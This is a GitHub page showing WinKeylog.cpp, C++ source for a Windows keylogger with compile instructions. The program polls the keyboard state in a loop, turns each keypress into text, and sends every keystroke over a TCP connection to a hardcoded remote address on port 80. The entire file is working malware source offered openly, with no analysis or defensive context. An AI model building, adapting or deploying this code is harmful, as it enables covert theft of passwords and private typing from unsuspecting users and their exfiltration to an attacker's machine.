-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathWinKeylog.cpp
107 lines (93 loc) · 2.02 KB
/
WinKeylog.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
/* Tested: Windows XP/7/8
* Compiler: mingw
* Compile with: g++ WinKeylog.cpp -lWs2_32
* Some of the code is from:
* http://www.online-tutorials.net/system/keylogger-tastatur-abfragen/sourcecodes-t-19-270.html
*/
#include <string.h>
#include <iostream>
#include <winsock2.h>
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
if (Key == 13)
KeyString = "\n";
if (Key == 32)
KeyString = " ";
if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
if (Key == VK_TAB)
KeyString = "[TABULATOR]";
if (Key == VK_CONTROL)
KeyString = "[CTRL]";
if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
if (Key == VK_END)
KeyString = "[END]";
if (Key == VK_HOME)
KeyString = "[HOME]";
if (Key == VK_LEFT)
KeyString = "[LEFT]";
if (Key == VK_RIGHT)
KeyString = "[RIGHT]";
if (Key >=96 && Key <= 105){
KeyString = Key-48;
}
if (Key > 47 && Key < 60){
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
int main()
{
WSAData version;
WORD mkword=MAKEWORD(2,2);
WSAStartup(mkword,&version);
SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr("192.168.10.29");
addr.sin_port=htons(80);
int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
if(conn==SOCKET_ERROR) {
closesocket(u_sock);
WSACleanup();
}
char vect[512]={0};
std::string TempString = "";
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
int smsg=send(u_sock, TempString.c_str(), TempString.length(), 0);
if(smsg==SOCKET_ERROR)
WSACleanup();
}
}
}
closesocket(u_sock);
return 1;
}